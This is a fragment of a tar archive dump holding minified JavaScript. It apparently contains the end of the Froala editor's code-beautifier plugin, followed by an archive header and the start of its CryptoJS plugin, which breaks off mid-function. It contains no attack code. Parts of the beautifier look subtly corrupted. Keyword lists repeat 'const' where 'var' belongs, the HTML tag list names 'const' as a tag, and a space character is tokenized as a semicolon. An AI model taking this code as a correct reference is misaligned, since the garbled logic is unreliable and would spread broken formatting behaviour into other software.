ED"===a&&N(h.last_text)?c.space_before_token=!0:"TK_END_EXPR"!==a?"TK_START_EXPR"===a&&"TK_RESERVED"===l.type&&Y(l.text,["const","let","const"])||":"===h.last_text||("TK_RESERVED"===l.type&&"if"===l.text&&"else"===h.last_text?c.space_before_token=!0:K()):"TK_RESERVED"===l.type&&Y(l.text,s.line_starters)&&")"!==h.last_text&&K():h.multiline_frame&&S(h.mode)&&","===h.last_text&&"}"===_?K():"SPACE"===n&&(c.space_before_token=!0);m(),h.last_word=l.text,"TK_RESERVED"===l.type&&"do"===l.text&&(h.do_block=!0),"TK_RESERVED"===l.type&&"if"===l.text&&(h.if_block=!0)}a="TK_START_BLOCK",_="",(c=new q(o,T)).raw=d.test_output_raw,e=[],v(Z.BlockStatement),this.beautify=function(){var t,e;for(s=new tt(i,d,o),f=s.tokenize(),r=0;t=D();){for(var n=0;n<t.comments_before.length;n++)x(t.comments_before[n]);x(t),_=h.last_text,a=t.type,h.last_text=t.text,r+=1}return e=c.get_code(),d.end_with_newline&&(e+="\n"),"\n"!=d.eol&&(e=e.replace(/[\n]/g,d.eol)),e}}function s(e){var n=0,i=-1,r=[],s=!0;this.set_indent=function(t){n=e.baseIndentLength+t*e.indent_length,i=t},this.get_character_count=function(){return n},this.is_empty=function(){return s},this.last=function(){return this._empty?null:r[r.length-1]},this.push=function(t){r.push(t),n+=t.length,s=!1},this.pop=function(){var t=null;return s||(t=r.pop(),n-=t.length,s=0===r.length),t},this.remove_indent=function(){0<i&&(i-=1,n-=e.indent_length)},this.trim=function(){for(;" "===this.last();)r.pop(),n-=1;s=0===r.length},this.toString=function(){var t="";return this._empty||(0<=i&&(t=e.indent_cache[i]),t+=r.join("")),t}}function q(e,n){n=n||"",this.indent_cache=[n],this.baseIndentLength=n.length,this.indent_length=e.length,this.raw=!1;var i=[];this.baseIndentString=n,this.indent_string=e,this.previous_line=null,this.current_line=null,this.space_before_token=!1,this.add_outputline=function(){this.previous_line=this.current_line,this.current_line=new s(this),i.push(this.current_line)},this.add_outputline(),this.get_line_number=function(){return i.length},this.add_new_line=function(t){return(1!==this.get_line_number()||!this.just_added_newline())&&(!(!t&&this.just_added_newline())&&(this.raw||this.add_outputline(),!0))},this.get_code=function(){return i.join("\n").replace(/[\r\n\t ]+$/,"")},this.set_indent=function(t){if(1<i.length){for(;t>=this.indent_cache.length;)this.indent_cache.push(this.indent_cache[this.indent_cache.length-1]+this.indent_string);return this.current_line.set_indent(t),!0}return this.current_line.set_indent(0),!1},this.add_raw_token=function(t){for(var e=0;e<t.newlines;e++)this.add_outputline();this.current_line.push(t.whitespace_before),this.current_line.push(t.text),this.space_before_token=!1},this.add_token=function(t){this.add_space_before_token(),this.current_line.push(t)},this.add_space_before_token=function(){this.space_before_token&&!this.just_added_newline()&&this.current_line.push(" "),this.space_before_token=!1},this.remove_redundant_indentation=function(t){if(!t.multiline_frame&&t.mode!==Z.ForInitializer&&t.mode!==Z.Conditional)for(var e=t.start_line_index,n=i.length;e<n;)i[e].remove_indent(),e++},this.trim=function(t){for(t=t!==undefined&&t,this.current_line.trim(e,n);t&&1<i.length&&this.current_line.is_empty();)i.pop(),this.current_line=i[i.length-1],this.current_line.trim();this.previous_line=1<i.length?i[i.length-2]:null},this.just_added_newline=function(){return this.current_line.is_empty()},this.just_added_blankline=function(){return!!this.just_added_newline()&&(1===i.length||i[i.length-2].is_empty())}}var J=function J(t,e,n,i,r,s){this.type=t,this.text=e,this.comments_before=[],this.newlines=n||0,this.wanted_newline=0<n,this.whitespace_before=i||"",this.parent=null,this.directives=null};function tt(k,y,t){var O="\n\r\t ".split(""),N=/[0-9]/,D=/[01234567]/,C=/[0123456789abcdefABCDEF]/,L="+ - * / % & ++ -- = += -= *= /= %= == === != !== > < >= <= >> << >>> >>>= >>= <<= && &= | || ! ~ , : ? ^ ^= |= :: =>".split(" ");this.line_starters="continue,try,throw,return,const,let,const,if,switch,case,default,for,while,break,function,import,export".split(",");var I,V,P,B,j,M,U=this.line_starters.concat(["do","in","else","get","set","new","catch","finally","typeof","yield","async","await"]),W=/([\s\S]*?)((?:\*\/)|$)/g,z=/([^\n\r\u2028\u2029]*)/g,G=/\/\* beautify( \w+[:]\w+)+ \*\//g,X=/ (\w+)[:](\w+)/g,F=/([\s\S]*?)((?:\/\*\sbeautify\signore:end\s\*\/)|$)/g,$=/((<\?php|<\?=)[\s\S]*?\?>)|(<%[\s\S]*?%>)/g;function a(){var t,e,n=[];if(I=0,V="",M<=j)return["","TK_EOF"];e=B.length?B[B.length-1]:new J("TK_START_BLOCK","{");var i=k.charAt(j);for(j+=1;Y(i,O);){if(Q.newline.test(i)?"\n"===i&&"\r"===k.charAt(j-2)||(I+=1,n=[]):n.push(i),M<=j)return["","TK_EOF"];i=k.charAt(j),j+=1}if(n.length&&(V=n.join("")),N.test(i)){var r=!0,s=!0,a=N;for("0"===i&&j<M&&/[Xxo]/.test(k.charAt(j))?(s=r=!1,i+=k.charAt(j),j+=1,a=/[o]/.test(k.charAt(j))?D:C):(i="",j-=1);j<M&&a.test(k.charAt(j));)i+=k.charAt(j),j+=1,r&&j<M&&"."===k.charAt(j)&&(i+=k.charAt(j),j+=1,r=!1),s&&j<M&&/[Ee]/.test(k.charAt(j))&&(i+=k.charAt(j),(j+=1)<M&&/[+-]/.test(k.charAt(j))&&(i+=k.charAt(j),j+=1),r=s=!1);return[i,"TK_WORD"]}if(Q.isIdentifierStart(k.charCodeAt(j-1))){if(j<M)for(;Q.isIdentifierChar(k.charCodeAt(j))&&(i+=k.charAt(j),(j+=1)!==M););return"TK_DOT"===e.type||"TK_RESERVED"===e.type&&Y(e.text,["set","get"])||!Y(i,U)?[i,"TK_WORD"]:"in"===i?[i,"TK_OPERATOR"]:[i,"TK_RESERVED"]}if("("===i||"["===i)return[i,"TK_START_EXPR"];if(")"===i||"]"===i)return[i,"TK_END_EXPR"];if("{"===i)return[i,"TK_START_BLOCK"];if("}"===i)return[i,"TK_END_BLOCK"];if(" "===i)return[i,"TK_SEMICOLON"];if("/"===i){var _="";if("*"===k.charAt(j)){j+=1,W.lastIndex=j;var o=W.exec(k);_="/*".concat(o[0]),j+=o[0].length;var c=function S(t){if(!t.match(G))return null;var e={};X.lastIndex=0;for(var n=X.exec(t);n;)e[n[1]]=n[2],n=X.exec(t);return e}(_);return c&&"start"===c.ignore&&(F.lastIndex=j,_+=(o=F.exec(k))[0],j+=o[0].length),[_=_.replace(Q.lineBreak,"\n"),"TK_BLOCK_COMMENT",c]}if("/"===k.charAt(j)){j+=1,z.lastIndex=j;var l=z.exec(k);return _="//".concat(l[0]),j+=l[0].length,[_,"TK_COMMENT"]}}if("`"===i||"'"===i||'"'===i||("/"===i||y.e4x&&"<"===i&&k.slice(j-1).match(/^<([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])(\s+[-a-zA-Z:0-9_.]+\s*=\s*('[^']*'|"[^"]*"|{.*?}))*\s*(\/?)\s*>/))&&("TK_RESERVED"===e.type&&Y(e.text,["return","case","throw","else","do","typeof","yield"])||"TK_END_EXPR"===e.type&&")"===e.text&&e.parent&&"TK_RESERVED"===e.parent.type&&Y(e.parent.text,["if","while","for"])||Y(e.type,["TK_COMMENT","TK_START_EXPR","TK_START_BLOCK","TK_END_BLOCK","TK_OPERATOR","TK_EQUALS","TK_EOF","TK_SEMICOLON","TK_COMMA"]))){var h=i,u=!1,p=!1;if(t=i,"/"===h)for(var d=!1;j<M&&(u||d||k.charAt(j)!==h)&&!Q.newline.test(k.charAt(j));)t+=k.charAt(j),u?u=!1:(u="\\"===k.charAt(j),"["===k.charAt(j)?d=!0:"]"===k.charAt(j)&&(d=!1)),j+=1;else if(y.e4x&&"<"===h){var f=/<(\/?)([-a-zA-Z:0-9_.]+|{[^{}]*}|!\[CDATA\[[\s\S]*?\]\])(\s+[-a-zA-Z:0-9_.]+\s*=\s*('[^']*'|"[^"]*"|{.*?}))*\s*(\/?)\s*>/g,T=k.slice(j-1),E=f.exec(T);if(E&&0===E.index){for(var g=E[2],x=0;E;){var w=!!E[1],K=E[2],R=!!E[E.length-1]||"![CDATA["===K.slice(0,8);if(K!==g||R||(w?--x:++x),x<=0)break;E=f.exec(T)}var m=E?E.index+E[0].length:T.length;return T=T.slice(0,m),j+=m-1,[T=T.replace(Q.lineBreak,"\n"),"TK_STRING"]}}else for(;j<M&&(u||k.charAt(j)!==h&&("`"===h||!Q.newline.test(k.charAt(j))));)(u||"`"===h)&&Q.newline.test(k.charAt(j))?("\r"===k.charAt(j)&&"\n"===k.charAt(j+1)&&(j+=1),t+="\n"):t+=k.charAt(j),u=u?("x"!==k.charAt(j)&&"u"!==k.charAt(j)||(p=!0),!1):"\\"===k.charAt(j),j+=1;if(p&&y.unescape_strings&&(t=function A(t){var e,n=!1,i="",r=0,s="",a=0;for(;n||r<t.length;)if(e=t.charAt(r),r++,n){if(n=!1,"x"===e)s=t.substr(r,2),r+=2;else{if("u"!==e){i+="\\".concat(e);continue}s=t.substr(r,4),r+=4}if(!s.match(/^[0123456789abcdefABCDEF]+$/))return t;if(0<=(a=parseInt(s,16))&&a<32){i+="x"===e?"\\x".concat(s):"\\u".concat(s);continue}if(34===a||39===a||92===a)i+="\\".concat(String.fromCharCode(a));else{if("x"===e&&126<a&&a<=255)return t;i+=String.fromCharCode(a)}}else"\\"===e?n=!0:i+=e;return i}(t)),j<M&&k.charAt(j)===h&&(t+=h,j+=1,"/"===h))for(;j<M&&Q.isIdentifierStart(k.charCodeAt(j));)t+=k.charAt(j),j+=1;return[t,"TK_STRING"]}if("#"===i){if(0===B.length&&"!"===k.charAt(j)){for(t=i;j<M&&"\n"!==i;)t+=i=k.charAt(j),j+=1;return["".concat(H(t),"\n"),"TK_UNKNOWN"]}var b="#";if(j<M&&N.test(k.charAt(j))){for(;b+=i=k.charAt(j),(j+=1)<M&&"#"!==i&&"="!==i;);return"#"===i||("["===k.charAt(j)&&"]"===k.charAt(j+1)?(b+="[]",j+=2):"{"===k.charAt(j)&&"}"===k.charAt(j+1)&&(b+="{}",j+=2)),[b,"TK_WORD"]}}if("<"===i&&("?"===k.charAt(j)||"%"===k.charAt(j))){$.lastIndex=j-1;var v=$.exec(k);if(v)return i=v[0],j+=i.length-1,[i=i.replace(Q.lineBreak,"\n"),"TK_STRING"]}if("<"===i&&"\x3c!--"===k.substring(j-1,j+3)){for(j+=3,i="\x3c!--";!Q.newline.test(k.charAt(j))&&j<M;)i+=k.charAt(j),j++;return P=!0,[i,"TK_COMMENT"]}if("-"===i&&P&&"--\x3e"===k.substring(j-1,j+2))return P=!1,j+=2,["--\x3e","TK_COMMENT"];if("."===i)return[i,"TK_DOT"];if(Y(i,L)){for(;j<M&&Y(i+k.charAt(j),L)&&(i+=k.charAt(j),!(M<=(j+=1))););return","===i?[i,"TK_COMMA"]:"="===i?[i,"TK_EQUALS"]:[i,"TK_OPERATOR"]}return[i,"TK_UNKNOWN"]}this.tokenize=function(){var t,e,n;M=k.length,j=0,P=!1,B=[];for(var i=null,r=[],s=[];!e||"TK_EOF"!==e.type;){for(n=a(),t=new J(n[1],n[0],I,V);"TK_COMMENT"===t.type||"TK_BLOCK_COMMENT"===t.type||"TK_UNKNOWN"===t.type;)"TK_BLOCK_COMMENT"===t.type&&(t.directives=n[2]),s.push(t),n=a(),t=new J(n[1],n[0],I,V);s.length&&(t.comments_before=s,s=[]),"TK_START_BLOCK"===t.type||"TK_START_EXPR"===t.type?(t.parent=e,r.push(i),i=t):("TK_END_BLOCK"===t.type||"TK_END_EXPR"===t.type)&&i&&("]"===t.text&&"["===i.text||")"===t.text&&"("===i.text||"}"===t.text&&"{"===i.text)&&(t.parent=i.parent,i=r.pop()),B.push(t),e=t}return B}}return{run:function N(t,e){function a(t){return t.replace(/\s+$/g,"")}var n,i,r,T,s,_,E,o,c,g,x,w,l,h;for((e=e||{}).wrap_line_length!==undefined&&0!==parseInt(e.wrap_line_length,10)||e.max_char===undefined||0===parseInt(e.max_char,10)||(e.wrap_line_length=e.max_char),i=e.indent_inner_html!==undefined&&e.indent_inner_html,r=e.indent_size===undefined?4:parseInt(e.indent_size,10),T=e.indent_char===undefined?" ":e.indent_char,_=e.brace_style===undefined?"collapse":e.brace_style,s=0===parseInt(e.wrap_line_length,10)?32786:parseInt(e.wrap_line_length||250,10),E=e.unformatted||["a","span","img","bdo","em","strong","dfn","code","samp","kbd","const","cite","abbr","acronym","q","sub","sup","tt","i","b","big","small","u","s","strike","font","ins","del","address","pre"],o=e.preserve_newlines===undefined||e.preserve_newlines,c=o?isNaN(parseInt(e.max_preserve_newlines,10))?32786:parseInt(e.max_preserve_newlines,10):0,g=e.indent_handlebars!==undefined&&e.indent_handlebars,x=e.wrap_attributes===undefined?"auto":e.wrap_attributes,w=e.wrap_attributes_indent_size===undefined?r:parseInt(e.wrap_attributes_indent_size,10)||r,l=e.end_with_newline!==undefined&&e.end_with_newline,h=Array.isArray(e.extra_liners)?e.extra_liners.concat():"string"==typeof e.extra_liners?e.extra_liners.split(","):"head,body,/html".split(","),e.indent_with_tabs&&(T="\t",r=1),(n=new function k(){return this.pos=0,this.token="",this.current_mode="CONTENT",this.tags={parent:"parent1",parentcount:1,parent1:""},this.tag_type="",this.token_text=this.last_token=this.last_text=this.token_type="",this.newlines=0,this.indent_content=i,this.Utils={whitespace:"\n\r\t ".split(""),single_token:"br,input,link,meta,source,!doctype,basefont,base,area,hr,wbr,param,img,isindex,embed".split(","),extra_liners:h,in_array:function(t,e){for(var n=0;n<e.length;n++)if(t===e[n])return!0;return!1}},this.is_whitespace=function(t){for(;0<t.length;t++)if(!this.Utils.in_array(t.charAt(0),this.Utils.whitespace))return!1;return!0},this.traverse_whitespace=function(){var t="";if(t=this.input.charAt(this.pos),this.Utils.in_array(t,this.Utils.whitespace)){for(this.newlines=0;this.Utils.in_array(t,this.Utils.whitespace);)o&&"\n"===t&&this.newlines<=c&&(this.newlines+=1),this.pos++,t=this.input.charAt(this.pos);return!0}return!1},this.space_or_wrap=function(t){this.line_char_count>=this.wrap_line_length?(this.print_newline(!1,t),this.print_indentation(t)):(this.line_char_count++,t.push(" "))},this.get_content=function(){for(var t="",e=[];"<"!=this.input.charAt(this.pos);){if(this.pos>=this.input.length)return e.length?e.join(""):["","TK_EOF"];if(this.traverse_whitespace())this.space_or_wrap(e);else{if(g){var n=this.input.substr(this.pos,3);if("{{#"===n||"{{/"===n)break;if("{{!"===n)return[this.get_tag(),"TK_TAG_HANDLEBARS_COMMENT"];if("{{"===this.input.substr(this.pos,2)&&"{{else}}"===this.get_tag(!0))break}t=this.input.charAt(this.pos),this.pos++,this.line_char_count++,e.push(t)}}return e.length?e.join(""):""},this.get_contents_to=function(t){if(this.pos===this.input.length)return["","TK_EOF"];var e="",n=new RegExp("</".concat(t,"\\s*>"),"igm");n.lastIndex=this.pos;var i=n.exec(this.input),r=i?i.index:this.input.length;return this.pos<r&&(e=this.input.substring(this.pos,r),this.pos=r),e},this.record_tag=function(t){this.tags["".concat(t,"count")]?this.tags["".concat(t,"count")]++:this.tags["".concat(t,"count")]=1,this.tags[t+this.tags["".concat(t,"count")]]=this.indent_level,this.tags[t+this.tags["".concat(t,"count")]+"parent"]=this.tags.parent,this.tags.parent=t+this.tags["".concat(t,"count")]},this.retrieve_tag=function(t){if(this.tags["".concat(t,"count")]){for(var e=this.tags.parent;e&&t+this.tags["".concat(t,"count")]!==e;)e=this.tags["".concat(e,"parent")];e&&(this.indent_level=this.tags[t+this.tags["".concat(t,"count")]],this.tags.parent=this.tags[e+"parent"]),delete this.tags[t+this.tags["".concat(t,"count")]+"parent"],delete this.tags[t+this.tags["".concat(t,"count")]],1===this.tags["".concat(t,"count")]?delete this.tags["".concat(t,"count")]:this.tags["".concat(t,"count")]--}},this.indent_to_tag=function(t){if(this.tags["".concat(t,"count")]){for(var e=this.tags.parent;e&&t+this.tags["".concat(t,"count")]!==e;)e=this.tags["".concat(e,"parent")];e&&(this.indent_level=this.tags[t+this.tags["".concat(t,"count")]])}},this.get_tag=function(t){var e,n,i="",r=[],s="",a=!1,_=!0,o=this.pos,c=this.line_char_count;t=t!==undefined&&t;do{if(this.pos>=this.input.length)return t&&(this.pos=o,this.line_char_count=c),r.length?r.join(""):["","TK_EOF"];if(i=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(i,this.Utils.whitespace))a=!0;else{if("'"!==i&&'"'!==i||(i+=this.get_unformatted(i),a=!0),"="===i&&(a=!1),r.length&&"="!=r[r.length-1]&&">"!=i&&a){if(this.space_or_wrap(r),a=!1,!_&&"force"===x&&"/"!=i){this.print_newline(!0,r),this.print_indentation(r);for(var l=0;l<w;l++)r.push(T)}for(var h=0;h<r.length;h++)if(" "===r[h]){_=!1;break}}if(g&&"<"===n&&i+this.input.charAt(this.pos)==="{{"&&(i+=this.get_unformatted("}}"),r.length&&" "!=r[r.length-1]&&"<"!=r[r.length-1]&&(i=" ".concat(i)),a=!0),"<"!==i||n||(e=this.pos-1,n="<"),g&&!n&&2<=r.length&&"{"===r[r.length-1]&&"{"===r[r.length-2]&&(e="#"===i||"/"===i||"!"===i?this.pos-3:this.pos-2,n="{"),this.line_char_count++,r.push(i),r[1]&&("!"===r[1]||"?"===r[1]||"%"===r[1])){r=[this.get_comment(e)];break}if(g&&r[1]&&"{"===r[1]&&r[2]&&"!"===r[2]){r=[this.get_comment(e)];break}if(g&&"{"===n&&2<r.length&&"}"===r[r.length-2]&&"}"===r[r.length-1])break}}while(">"!=i);var u,p,d=r.join("");u=-1!=d.indexOf(" ")?d.indexOf(" "):"{"===d[0]?d.indexOf("}"):d.indexOf(">"),p="<"!==d[0]&&g?"#"===d[2]?3:2:1;var f=d.substring(p,u).toLowerCase();return"/"===d.charAt(d.length-2)||this.Utils.in_array(f,this.Utils.single_token)?t||(this.tag_type="SINGLE"):g&&"{"===d[0]&&"else"===f?t||(this.indent_to_tag("if"),this.tag_type="HANDLEBARS_ELSE",this.indent_content=!0,this.traverse_whitespace()):this.is_unformatted(f,E)?(s=this.get_unformatted("</".concat(f,">"),d),r.push(s),this.pos,this.tag_type="SINGLE"):"script"===f&&(-1===d.search("type")||-1<d.search("type")&&-1<d.search(/\b(text|application)\/(x-)?(javascript|ecmascript|jscript|livescript)/))?t||(this.record_tag(f),this.tag_type="SCRIPT"):"style"===f&&(-1===d.search("type")||-1<d.search("type")&&-1<d.search("text/css"))?t||(this.record_tag(f),this.tag_type="STYLE"):"!"===f.charAt(0)?t||(this.tag_type="SINGLE",this.traverse_whitespace()):t||("/"===f.charAt(0)?(this.retrieve_tag(f.substring(1)),this.tag_type="END"):(this.record_tag(f),"html"!=f.toLowerCase()&&(this.indent_content=!0),this.tag_type="START"),this.traverse_whitespace()&&this.space_or_wrap(r),this.Utils.in_array(f,this.Utils.extra_liners)&&(this.print_newline(!1,this.output),this.output.length&&"\n"!=this.output[this.output.length-2]&&this.print_newline(!0,this.output))),t&&(this.pos=o,this.line_char_count=c),r.join("")},this.get_comment=function(t){var e="",n=">",i=!1;this.pos=t;var r=this.input.charAt(this.pos);for(this.pos++;this.pos<=this.input.length&&((e+=r)[e.length-1]!==n[n.length-1]||-1==e.indexOf(n));)!i&&e.length<10&&(0===e.indexOf("<![if")?(n="<![endif]>",i=!0):0===e.indexOf("<![cdata[")?(n="]]>",i=!0):0===e.indexOf("<![")?(n="]>",i=!0):0===e.indexOf("\x3c!--")?(n="--\x3e",i=!0):0===e.indexOf("{{!")?(n="}}",i=!0):0===e.indexOf("<?")?(n="?>",i=!0):0===e.indexOf("<%")&&(n="%>",i=!0)),r=this.input.charAt(this.pos),this.pos++;return e},this.get_unformatted=function(t,e){if(e&&-1!=e.toLowerCase().indexOf(t))return"";var n="",i="",r=0,s=!0;do{if(this.pos>=this.input.length)return i;if(n=this.input.charAt(this.pos),this.pos++,this.Utils.in_array(n,this.Utils.whitespace)){if(!s){this.line_char_count--;continue}if("\n"===n||"\r"===n){i+="\n",this.line_char_count=0;continue}}i+=n,this.line_char_count++,s=!0,g&&"{"===n&&i.length&&"{"===i[i.length-2]&&(r=(i+=this.get_unformatted("}}")).length)}while(-1===i.toLowerCase().indexOf(t,r));return i},this.get_token=function(){var t;if("TK_TAG_SCRIPT"!==this.last_token&&"TK_TAG_STYLE"!==this.last_token)return"CONTENT"===this.current_mode?"string"!=typeof(t=this.get_content())?t:[t,"TK_CONTENT"]:"TAG"===this.current_mode?"string"!=typeof(t=this.get_tag())?t:[t,"TK_TAG_".concat(this.tag_type)]:void 0;var e=this.last_token.substr(7);return"string"!=typeof(t=this.get_contents_to(e))?t:[t,"TK_".concat(e)]},this.get_full_indent=function(t){return(t=this.indent_level+t||0)<1?"":new Array(t+1).join(this.indent_string)},this.is_unformatted=function(t,e){if(!this.Utils.in_array(t,e))return!1;if("a"!=t.toLowerCase()||!this.Utils.in_array("a",e))return!0;var n=(this.get_tag(!0)||"").match(/^\s*<\s*\/?([a-z]*)\s*[^>]*>\s*$/);return!(n&&!this.Utils.in_array(n,e))},this.printer=function(t,e,n,i,r){this.input=t||"",this.output=[],this.indent_character=e,this.indent_string="",this.indent_size=n,this.brace_style=r,this.indent_level=0,this.wrap_line_length=i;for(var s=this.line_char_count=0;s<this.indent_size;s++)this.indent_string+=this.indent_character;this.print_newline=function(t,e){this.line_char_count=0,e&&e.length&&(t||"\n"!=e[e.length-1])&&("\n"!=e[e.length-1]&&(e[e.length-1]=a(e[e.length-1])),e.push("\n"))},this.print_indentation=function(t){for(var e=0;e<this.indent_level;e++)t.push(this.indent_string),this.line_char_count+=this.indent_string.length},this.print_token=function(t){this.is_whitespace(t)&&!this.output.length||((t||""!==t)&&this.output.length&&"\n"===this.output[this.output.length-1]&&(this.print_indentation(this.output),t=function e(t){return t.replace(/^\s+/g,"")}(t)),this.print_token_raw(t))},this.print_token_raw=function(t){0<this.newlines&&(t=a(t)),t&&""!==t&&(1<t.length&&"\n"===t[t.length-1]?(this.output.push(t.slice(0,-1)),this.print_newline(!1,this.output)):this.output.push(t));for(var e=0;e<this.newlines;e++)this.print_newline(0<e,this.output);this.newlines=0},this.indent=function(){this.indent_level++},this.unindent=function(){0<this.indent_level&&this.indent_level--}},this}).printer(t,T,r,s,_);;){var u=n.get_token();if(n.token_text=u[0],n.token_type=u[1],"TK_EOF"===n.token_type)break;switch(n.token_type){case"TK_TAG_START":n.print_newline(!1,n.output),n.print_token(n.token_text),n.indent_content&&(n.indent(),n.indent_content=!1),n.current_mode="CONTENT";break;case"TK_TAG_STYLE":case"TK_TAG_SCRIPT":n.print_newline(!1,n.output),n.print_token(n.token_text),n.current_mode="CONTENT";break;case"TK_TAG_END":if("TK_CONTENT"===n.last_token&&""===n.last_text){var p=n.token_text.match(/\w+/)[0],d=null;n.output.length&&(d=n.output[n.output.length-1].match(/(?:<|{{#)\/?\s*(\w+)/)),(null===d||d[1]!=p&&!n.Utils.in_array(d[1],E))&&n.print_newline(!1,n.output)}n.print_token(n.token_text),n.current_mode="CONTENT";break;case"TK_TAG_SINGLE":var f=n.token_text.match(/^\s*<([a-z-]+)/i);f&&n.Utils.in_array(f[1],E)||n.print_newline(!1,n.output),n.print_token(n.token_text),n.current_mode="CONTENT";break;case"TK_TAG_HANDLEBARS_ELSE":n.print_token(n.token_text),n.indent_content&&(n.indent(),n.indent_content=!1),n.current_mode="CONTENT";break;case"TK_TAG_HANDLEBARS_COMMENT":case"TK_CONTENT":n.print_token(n.token_text),n.current_mode="TAG";break;case"TK_STYLE":case"TK_SCRIPT":if(""!==n.token_text){n.print_newline(!1,n.output);var K=n.token_text,R=void 0,m=1;"TK_SCRIPT"===n.token_type?R=O:"TK_STYLE"===n.token_type&&(R=y),"keep"===e.indent_scripts?m=0:"separate"===e.indent_scripts&&(m=-n.indent_level);var b=n.get_full_indent(m);if(R)K=R(K.replace(/^\s*/,b),e);else{var v=K.match(/^\s*/)[0].match(/[^\n\r]*$/)[0].split(n.indent_string).length-1,S=n.get_full_indent(m-v);K=K.replace(/^\s*/,b).replace(/\r\n|\r|\n/g,"\n"+S).replace(/\s+$/,"")}K&&(n.print_token_raw(K),n.print_newline(!0,n.output))}n.current_mode="TAG";break;default:""!==n.token_text&&n.print_token(n.token_text)}n.last_token=n.token_type,n.last_text=n.token_text}var A=n.output.join("").replace(/[\r\n\t ]+$/,"");return l&&(A+="\n"),A}}}}); plugins/cryptojs.min.js 0000674 00000136171 00000000000 0011177 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],e):e(t.FroalaEditor)}(this,function(t){"use strict";(t=t&&t.hasOwnProperty("default")?t["default"]:t).PLUGINS.cryptoJSPlugin=function(t){var e,l,r,i,n,o,s,f,c,a,h,u,d,p,_,y,v,g,B,w,k,S,m,x,b,H,z,A,C,E,D,R,M,P,F,W,O,I,U,K,X,L,j,N,q,T,Z,G,J,V,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,ut,dt,pt,_t,vt,yt=yt||function(l,t){var e;if("undefined"!=typeof window&&window.crypto&&(e=window.crypto),!e&&"undefined"!=typeof window&&window.msCrypto&&(e=window.msCrypto),!e&&"undefined"!=typeof global&&global.crypto&&(e=global.crypto),!e&&"function"==typeof require)try{e=require("crypto")}catch(_){}var i=function i(){if(e){if("function"==typeof e.getRandomValues)try{return e.getRandomValues(new Uint32Array(1))[0]}catch(_){}if("function"==typeof e.randomBytes)try{return e.randomBytes(4).readInt32LE()}catch(_){}}throw new Error("Native crypto module could not be used to get secure random number.")},r=Object.create||function(){function r(){}return function(t){var e;return r.prototype=t,e=new r,r.prototype=null,e}}(),n={},o=n.lib={},s=o.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();return t.init.apply(t,arguments),t},init:function(){},mixIn:function(t){for(var e in t)t.hasOwnProperty(e)&&(this[e]=t[e]);t.hasOwnProperty("toString")&&(this.toString=t.toString)},clone:function(){return this.init.prototype.extend(this)}},f=o.WordArray=s.extend({init:function(t,e){t=this.words=t||[],this.sigBytes=null!=e?e:4*t.length},toString:function(t){return(t||a).stringify(this)},concat:function(t){var e=this.words,r=t.words,i=this.sigBytes,n=t.sigBytes;if(this.clamp(),i%4)for(var o=0;o<n;o++){var s=r[o>>>2]>>>24-o%4*8&255;e[i+o>>>2]|=s<<24-(i+o)%4*8}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:function t(){var t=s.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(i());return new f.init(e,t)}}),c=n.enc={},a=c.Hex={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push((o>>>4).toString(16)),i.push((15&o).toString(16))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i+=2)r[i>>>3]|=parseInt(t.substr(i,2),16)<<24-i%8*4;return new f.init(r,e/2)}},h=c.Latin1={stringify:function(t){for(var e=t.words,r=t.sigBytes,i=[],n=0;n<r;n++){var o=e[n>>>2]>>>24-n%4*8&255;i.push(String.fromCharCode(o))}return i.join("")},parse:function(t){for(var e=t.length,r=[],i=0;i<e;i++)r[i>>>2]|=(255&t.charCodeAt(i))<<24-i%4*8;return new f.init(r,e)}},u=c.Utf8={stringify:function(t){try{return decodeURIComponent(escape(h.stringify(t)))}catch(e){throw new Error("Malformed UTF-8 data")}},parse:function(t){return h.parse(unescape(encodeURIComponent(t)))}},d=o.BufferedBlockAlgorithm=s.extend({reset:function(){this._data=new f.init,this._nDataBytes=0},_append:function(t){"string"==typeof t&&(t=u.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4*o),c=(s=t?l.ceil(s):l.max((0|s)-this._minBufferSize,0))*o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProcessBlock(i,h);e=i.splice(0,c),r.sigBytes-=a}return new f.init(e,a)},clone:function t(){var t=s.clone.call(this);return t._data=this._data.clone(),t},_minBufferSize:0}),p=(o.Hasher=d.extend({cfg:s.extend(),init:function(t){this.cfg=this.cfg.extend(t),this.reset()},reset:function(){d.reset.call(this),this._doReset()},update:function(t){return this._append(t),this._process(),this},finalize:function(t){return t&&this._append(t),this._doFinalize()},blockSize:16,_createHelper:function(r){return function(t,e){return new r.init(e).finalize(t)}},_createHmacHelper:function(r){return function(t,e){return new p.HMAC.init(r,e).finalize(t)}}}),n.algo={});return n}(Math);return l=(e=yt).lib.WordArray,e.enc.Base64={stringify:function(t){var e=t.words,r=t.sigBytes,i=this._map;t.clamp();for(var n=[],o=0;o<r;o+=3)for(var s=(e[o>>>2]>>>24-o%4*8&255)<<16|(e[o+1>>>2]>>>24-(o+1)%4*8&255)<<8|e[o+2>>>2]>>>24-(o+2)%4*8&255,c=0;c<4&&o+.75*c<r;c++)n.push(i.charAt(s>>>6*(3-c)&63));var a=i.charAt(64);if(a)for(;n.length%4;)n.push(a);return n.join("")},parse:function(t){var 